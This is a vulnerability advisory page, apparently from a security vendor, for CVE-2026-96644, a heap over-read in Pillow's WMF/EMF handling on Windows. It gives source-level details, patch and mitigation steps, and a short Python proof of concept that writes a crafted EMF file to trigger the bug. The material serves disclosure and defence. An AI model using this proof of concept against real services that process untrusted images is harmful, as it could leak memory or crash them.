Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-96644 — pillow

Fix: python-pillow/Pillow@4cf46be

CVE-2026-96644 is a Out-of-bounds Read vulnerability in pillow. A fix is available for pillow — see the affected versions and patch details below.

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

Also known asGHSA-9v9v-9qvf-h2hj
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍pillow

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

Details

The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

  • src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.

In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

  • src/display.c:793-794 assign the 16-bit fields
  • src/display.c:800 sizes the allocation from them
  • src/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full values

The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).

PoC

import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build

On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).

Impact

CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpillowall versions13.0.0pip install --upgrade 'pillow==13.0.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pillow to 13.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-96644 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

### Summary On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read. ### Details The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check: - `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:1
O3 Security · Impact-Aware SCA

Is CVE-2026-96644 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-96644: pillow — Fixed in 13.0.0